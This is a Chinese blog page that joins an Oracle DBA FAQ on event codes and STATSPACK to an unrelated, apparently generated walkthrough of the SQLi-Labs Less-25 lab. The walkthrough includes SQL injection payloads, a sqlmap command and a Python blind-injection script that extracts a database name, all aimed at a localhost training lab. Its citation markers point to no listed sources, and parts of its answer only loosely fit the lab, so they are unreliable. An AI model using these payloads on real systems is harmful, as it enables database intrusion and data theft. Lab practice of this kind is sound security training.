sql25





[Q]如何获得所有的事件代码
[A] 事件代码范围一般从10000 to 10999,以下列出了这个范围的事件代码与信息
SET SERVEROUTPUT ON
DECLARE
err_msg VARCHAR2(120);
BEGIN
dbms_output.enable (1000000);
FOR err_num IN 10000..10999
LOOP
err_msg := SQLERRM (-err_num);
IF err_msg NOT LIKE '%Message '||err_num||' not found%' THEN
dbms_output.put_line (err_msg);
END IF;
END LOOP;
END;
/
在Unix系统上,事件信息放在一个文本文件里
$ORACLE_HOME/rdbms/mesg/oraus.msg
可以用如下脚本查看事件信息
event=10000
while [ $event -ne 10999 ]
do
event=`expr $event + 1`
oerr ora $event
done
对于已经确保的/正在跟踪的事件,可以用如下脚本获得
SET SERVEROUTPUT ON
DECLARE
l_level NUMBER;
BEGIN
FOR l_event IN 10000..10999
LOOP
dbms_system.read_ev (l_event,l_level);
IF l_level > 0 THEN
dbms_output.put_line ('Event '||TO_CHAR (l_event)||
' is set at level '||TO_CHAR (l_level));
END IF;
END LOOP;
END;
/

[Q]什么是STATSPACK,我怎么使用它?
[A]Statspack是Oracle 8i以上提供的一个非常好的性能监控与诊断工具,基本上全部包含了BSTAT/ESTAT的功能,更多的信息
可以参考附带文档$ORACLE_HOME/rdbms/admin/spdoc.txt。
安装Statspack:
cd $ORACLE_HOME/rdbms/admin
sqlplus "/ as sysdba" @spdrop.sql -- 卸载,第一次可以不需要
sqlplus "/ as sysdba" @spcreate.sql -- 需要根据提示输入表空间名
使用Statspack:
sqlplus perfstat/perfstat
exec statspack.snap; -- 进行信息收集统计,每次运行都将产生一个快照号
-- 获得快照号,必须要有两个以上的快照,才能生成报表
select SNAP_ID, SNAP_TIME from STATS$SNAPSHOT;
@spreport.sql -- 输入需要查看的开始快照号与结束快照号
其他相关脚本s:
spauto.sql - 利用dbms_job提交一个作业,自动的进行STATPACK的信息收集统计
sppurge.sql - 清除一段范围内的统计信息,需要提供开始快照与结束快照号
sptrunc.sql - 清除(truncate)所有统计信息

### 关于 SQL Labs Level 25 的解决方案 SQL Labs 是一套用于学习和实践 SQL 注入技术的经典实验环境。Level 25 属于较高级别的挑战,通常涉及盲注(Blind SQL Injection),可能还需要绕过 WAF 或其他安全机制。 #### 题目分析 在 Less-25 中,目标通常是通过布尔型盲注或时间延迟盲注来获取数据库中的敏感信息。以下是解决该级别的常见方法: 1. **确认注入点** 尝试输入 `?id=1'` 并观察页面返回的结果是否有异常变化。如果存在注入漏洞,则可以通过进一步的 payload 来验证[^3]。 2. **判断列数** 使用联合查询(UNION SELECT)确定表的字段数量。例如: ```sql ?id=-1 UNION ALL SELECT NULL,NULL--+ ``` 如果页面正常显示数据,则说明可以继续尝试 union 查询攻击[^1]。 3. **提取当前数据库名称** 利用布尔型盲注逐位猜解数据库名称。例如: ```sql ?id=1 AND ASCII(SUBSTRING((SELECT database()),{position},1))>{char}--+ ``` 这里的 `{position}` 表示字符位置,而 `{char}` 是猜测的 ASCII 值范围[^5]。 4. **自动化工具辅助** 可以借助 sqlmap 工具快速完成上述过程。命令如下: ```bash sqlmap -u "http://localhost/sqli-labs/Less-25/" --batch --dbms=mysql --technique=B --level=3 --risk=3 --current-db ``` 此外,还可以指定 cookies 或 POST 数据参数进行更复杂的场景测试[^2]。 5. **编写自定义脚本** 对于某些特殊需求,手动实现脚本会更加灵活。以下是一个简单的 Python 脚本示例,用于猜解数据库名长度并逐步还原其内容: ```python import requests url = "http://localhost/sqli-labs/Less-25/" def check_payload(payload): response = requests.get(url + "?id=" + payload) return "You are in" in response.text # 猜测数据库名字母个数 def find_db_length(): for i in range(1, 20): payload = f"1' AND LENGTH(DATABASE())={i}--" if check_payload(payload): return i return None # 猜解具体字母 def guess_char(position): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"1' AND ORD(MID(DATABASE(),{position},1))>={mid}--" if check_payload(payload): low = mid + 1 else: high = mid - 1 return chr(high) db_length = find_db_length() print(f"[+] Database name has {db_length} characters.") dbname = "" for pos in range(1, db_length + 1): char = guess_char(pos) dbname += char print(f"[+] Current progress: {dbname}") print(f"\n[+] Final result: {dbname}") ``` 此脚本利用二分法加速了字符串的恢复速度,并且可以根据实际情况调整逻辑适应不同的注入方式[^4]。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值